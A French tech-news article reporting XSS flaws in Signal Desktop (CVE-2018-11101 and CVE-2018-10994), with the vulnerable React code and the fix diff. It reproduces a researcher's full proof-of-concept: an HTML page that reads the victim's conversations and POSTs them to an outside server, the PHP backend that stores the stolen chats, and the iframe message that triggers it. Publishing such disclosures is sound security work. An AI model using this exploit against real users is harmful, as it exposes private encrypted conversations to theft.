Signal corrige une faille qui expose la version desktop de l’application à des attaques XSS
Qui dévoilent les contenus des chats en clair

Montez un quizz à propos du terme Signal. Un féru de sécurité informatique ne manquera certainement pas de vous faire une réponse contenant les mots application et Snowden. Signal est une application permettant de communiquer de façon chiffrée. Edward Snowden, ex-employé de la CIA et de la NSA, la recommande aux personnes désireuses de garder leurs communications des « yeux indiscrets » dont la toile regorge.

On la dit à suffisance, en matière de test de logiciels, l’absence de bogues est une utopie. Signal ne déroge pas à la règle ; les versions desktop antérieures à 1.11.0 (et postérieures à 1.8.0) exhibent une faille qui touche à l’aspect pour lequel on apprécie le plus l’application : la confidentialité des échanges entre utilisateurs. Dans un billet de blog paru il y a peu, le chercheur en sécurité Matt Bryant explique que les versions non patchées de l’application peuvent tomber sous le coup d’attaques XSS. Il suffit, d’après les développements de ce dernier, qu’un attaquant insère du code malicieux HTML/JavaScript au sein d’un message destiné à une victime, puis qu’il réponde au message d’origine avec du texte aléatoire pour que le contenu HTML du message d’origine soit exécuté.

Nom : Ivan.png
Affichages : 1146
Taille : 15,7 Ko

La faille référencée CVE-2018-11101 réside dans un choix de design de l’application. Les développeurs de Signal ont fait usage de la prop React dangerouslySetInnerHTML pour rendre le contenu des messages cités par un utilisateur de l’application.

Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
public renderText() {
    const { i18n, text, attachments } = this.props;

    if (text) {
      return (
        <div className="text" dangerouslySetInnerHTML={{ __html: text }} />
      );
    }
...trimmed for brevity…
La manœuvre est jugée comme dangereuse au sein même de la documentation de la bibliothèque JavaScript. « En général, définir du contenu HTML à partir du code est risqué parce qu’il est aisé d’exposer par inadvertance les utilisateurs à des attaques XSS », lit-on. L’équipe sécurité a publié le code de la section concernée au sein de la version 1.11 qui apporte solution à ce problème.

Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@@ -4,6 +4,8 @@ import classnames from 'classnames';
import * as MIME from '../../../ts/types/MIME'; 
import * as GoogleChrome from '../../../ts/util/GoogleChrome'; 

+import { MessageBody } from './MessageBody'; 
+ 
interface Props { 
attachments: Array<QuotedAttachment>; 
authorColor: string; 
@@ -111,7 +113,9 @@ export class Quote extends React.Component<Props, {}> {

if (text) { 
return ( 
- <div className="text" dangerouslySetInnerHTML={{ __html: text }} /> 
+ <div className="text"> 
+ <MessageBody text={text} /> 
+ </div> 
); 
}
La publication de Matt Bryant fait suite à celle relative à la faille référencée CVE-2018-10994 rapportée par une autre équipe de chercheurs en sécurité. De façon brossée, la faille référencée CVE-2018-10994 permet de réaliser de l’injection de code HTML en s’appuyant uniquement sur la façon dont les versions non corrigées de l’application gèrent les liens partagés pendant des conversations. Jusqu’ici les preuves de concept basées sur l’exploitation de la vulnérabilité CVE-2016-10994 se limitaient à illustrer le chargement d’iFrame HTML ou de tags (audio/vidéo ou d’images) dans l’application de la victime.

Toutefois, attention, car les attaquants sont capables d’aller plus loin sur des postes de travail faisant tourner des versions non corrigées de l’application. En effet, en s’inspirant des publications relatives aux failles référencées CVE-2018-11101 et CVE-2018-10994, les chercheurs ont publié une PoC. Elle illustre la possibilité de contourner le chiffrement de l’application pour transmettre (en clair) le contenu des conversations d’une victime vers le poste de travail d’un attaquant. Pour y parvenir, l’attaquant procède en trois étapes.

Primo, il monte un serveur Samba et y place du contenu HTML conçu à dessein et accessible en lecture.

Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8"/>
<!-- 
DO NOT USE THIS IN REAL LIFE, IT'S JUST A POC! Be nice, don't hack activists :)
by HacKan: https://ivan.barreraoro.com.ar/signal-desktop-html-tag-injection-variant-2
under GNU GPL v3.0+
-->
</head>
<body>
<div id="content-8508a212-f263-4266-bea4-08b46dabe70d">Pwoning in process...</div>
<script src="https://code.jquery.com/jquery-3.3.1.min.js"></script>
<!-- base64js: https://github.com/beatgammit/base64-js/blob/master/base64js.min.js -->
<script>
(function(r){if(typeof exports==="object"&&typeof module!=="undefined"){module.exports=r()}else if(typeof define==="function"&&define.amd){define([],r)}else{var e;if(typeof window!=="undefined"){e=window}else if(typeof global!=="undefined"){e=global}else if(typeof self!=="undefined"){e=self}else{e=this}e.base64js=r()}})(function(){var r,e,n;return function(){function r(e,n,t){function o(f,i){if(!n[f]){if(!e[f]){var u="function"==typeof require&&require;if(!i&&u)return u(f,!0);if(a)return a(f,!0);var v=new Error("Cannot find module '"+f+"'");throw v.code="MODULE_NOT_FOUND",v}var d=n[f]={exports:{}};e[f][0].call(d.exports,function(r){var n=e[f][1][r];return o(n||r)},d,d.exports,r,e,n,t)}return n[f].exports}for(var a="function"==typeof require&&require,f=0;f<t.length;f++)o(t[f]);return o}return r}()({"/":[function(r,e,n){"use strict";n.byteLength=d;n.toByteArray=h;n.fromByteArray=p;var t=[];var o=[];var a=typeof Uint8Array!=="undefined"?Uint8Array:Array;var f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";for(var i=0,u=f.length;i<u;++i){t[i]=f[i];o[f.charCodeAt(i)]=i}o["-".charCodeAt(0)]=62;o["_".charCodeAt(0)]=63;function v(r){var e=r.length;if(e%4>0){throw new Error("Invalid string. Length must be a multiple of 4")}var n=r.indexOf("=");if(n===-1)n=e;var t=n===e?0:4-n%4;return[n,t]}function d(r){var e=v(r);var n=e[0];var t=e[1];return(n+t)*3/4-t}function c(r,e,n){return(e+n)*3/4-n}function h(r){var e;var n=v(r);var t=n[0];var f=n[1];var i=new a(c(r,t,f));var u=0;var d=f>0?t-4:t;for(var h=0;h<d;h+=4){e=o[r.charCodeAt(h)]<<18|o[r.charCodeAt(h+1)]<<12|o[r.charCodeAt(h+2)]<<6|o[r.charCodeAt(h+3)];i[u++]=e>>16&255;i[u++]=e>>8&255;i[u++]=e&255}if(f===2){e=o[r.charCodeAt(h)]<<2|o[r.charCodeAt(h+1)]>>4;i[u++]=e&255}if(f===1){e=o[r.charCodeAt(h)]<<10|o[r.charCodeAt(h+1)]<<4|o[r.charCodeAt(h+2)]>>2;i[u++]=e>>8&255;i[u++]=e&255}return i}function s(r){return t[r>>18&63]+t[r>>12&63]+t[r>>6&63]+t[r&63]}function l(r,e,n){var t;var o=[];for(var a=e;a<n;a+=3){t=(r[a]<<16&16711680)+(r[a+1]<<8&65280)+(r[a+2]&255);o.push(s(t))}return o.join("")}function p(r){var e;var n=r.length;var o=n%3;var a=[];var f=16383;for(var i=0,u=n-o;i<u;i+=f){a.push(l(r,i,i+f>u?u:i+f))}if(o===1){e=r[n-1];a.push(t[e>>2]+t[e<<4&63]+"==")}else if(o===2){e=(r[n-2]<<8)+r[n-1];a.push(t[e>>10]+t[e>>4&63]+t[e<<2&63]+"=")}return a.join("")}},{}]},{},[])("/")});
</script>
<!-- textencoder: https://github.com/coolaj86/TextEncoderLite/blob/master/text-encoder-lite.min.js -->
<script>
function TextEncoderLite(){}function TextDecoderLite(){}(function(){'use strict';function utf8ToBytes(a,b){b=b||Infinity;for(var c,d=a.length,e=null,f=[],g=0;g<d;g++){if(c=a.charCodeAt(g),!(55295<c&&57344>c))e&&(-1<(b-=3)&&f.push(239,191,189),e=null);else if(e){if(56320>c){-1<(b-=3)&&f.push(239,191,189),e=c;continue}else c=65536|(e-55296<<10|c-56320),e=null;}else if(56319<c){-1<(b-=3)&&f.push(239,191,189);continue}else if(g+1===d){-1<(b-=3)&&f.push(239,191,189);continue}else{e=c;continue}if(128>c){if(0>(b-=1))break;f.push(c)}else if(2048>c){if(0>(b-=2))break;f.push(192|c>>6,128|63&c)}else if(65536>c){if(0>(b-=3))break;f.push(224|c>>12,128|63&c>>6,128|63&c)}else if(2097152>c){if(0>(b-=4))break;f.push(240|c>>18,128|63&c>>12,128|63&c>>6,128|63&c)}else throw new Error('Invalid code point')}return f}function utf8Slice(a,b,c){var d='',e='';c=Math.min(a.length,c||Infinity),b=b||0;for(var f=b;f<c;f++)127>=a[f]?(d+=decodeUtf8Char(e)+String.fromCharCode(a[f]),e=''):e+='%'+a[f].toString(16);return d+decodeUtf8Char(e)}function decodeUtf8Char(a){try{return decodeURIComponent(a)}catch(b){return String.fromCharCode(65533)}}TextEncoderLite.prototype.encode=function(a){var b;return b='undefined'==typeof Uint8Array?utf8ToBytes(a):new Uint8Array(utf8ToBytes(a)),b},TextDecoderLite.prototype.decode=function(a){return utf8Slice(a,0,a.length)}})();
</script>
<script>
<!--
// https://developer.mozilla.org/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding#The_Unicode_Problem
function Base64Encode(str, encoding = 'utf-8') {
var bytes = new (TextEncoder || TextEncoderLite)(encoding).encode(str);
return base64js.fromByteArray(bytes);
}
function postData(url, key, data) {
$.post(url, {data: Base64Encode(data), key: key}, function(status) {
$('#content-8508a212-f263-4266-bea4-08b46dabe70d').html($('#content-8508a212-f263-4266-bea4-08b46dabe70d').html() + "\nData exfiltrated! You have been PWONED");
});
}
$(document).ready(function() {
// here's the fastest way I saw to find conversation, although is by far not the best one...
var MAX = 10000;
for (var i=0; i<MAX; i++) {
var conversation = parent.document.getElementById('conversation-c' + i);
//$('#content-8508a212-f263-4266-bea4-08b46dabe70d').html('conv: ' + conversation);
if (conversation != null) {
var data = conversation.innerHTML || 'NO DATA :(';
postData(
'https://ivan.barreraoro.com.ar/signal/index.php',
'mchrmhiossrgxhxis',
data,
)
}
}
});
-->
</script>
</body>
</html>
Code backend

Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

define('DATADIR', 'data_d33c3cfe-c52c-4cff-98ed-caf1d9771320');
define('DATALIMIT', 4000);  // unset or 0 for no limit

$key = filter_input(INPUT_POST, 'key', FILTER_SANITIZE_STRING);
$data = filter_input(INPUT_POST, 'data', FILTER_SANITIZE_STRING);

if (!empty($data) and !empty($key) and ($key === 'mchrmhiossrgxhxis')) {
    if (preg_match('%^[a-zA-Z0-9/+]*={0,2}$%', $data)) {
        // base64
        $data = base64_decode($data);
    }
    if (!empty(DATALIMIT) and strlen($data) > DATALIMIT) {
        $data = substr($data, 0, DATALIMIT);
    }
    $filename = date('Y-m-d_Hi') . '_' . bin2hex(random_bytes(5)) . '.txt';
    $datafile = DATADIR . '/' . $filename;
    file_put_contents($datafile, 'Server date: ' . date('Y-m-d H:i:s') . "\nData:\n" . $data . "\n", FILE_APPEND);
    die('OK');
  
    header('HTTP/1.0 403 Forbidden');
    die('<h1>Access denied</h1>');
}
Secundo, l’attaquant envoie à la victime un message du type <iframe src="\\xx.xx.xx.xx\poc\exfiltate.html"></iframe>. Enfin, il répond au message, ce qui a pour effet de déclencher la faille. Une vidéo de la PoC est disponible.


Sources : hackerblog, barrero1, barrero2

Et vous ?

Le langage JavaScript convient-il pour le développement d’une application de chat sécurisée ?

Des observateurs sont d’avis que c’est le fait que la version desktop de Signal soit développée à l’aide du Framework Electron qui la rend aussi vulnérable. Qu’en pensez-vous ?

La faute dans ce cas ne revient-elle pas plutôt aux auteurs des spécifications DOM ?

Voir aussi :

Quel est l'intérêt d'écrire ou réécrire un logiciel en JavaScript ? Partagez votre expérience
Quelle est l'application mobile la plus sécurisée pour protéger sa vie privée ? Signal remporte le vote d'Edward Snowden, qu'en est-il de vous ?
L'application de messagerie sécurisée Signal se dote d'un nouveau client de bureau indépendant pour Windows, macOS et Linux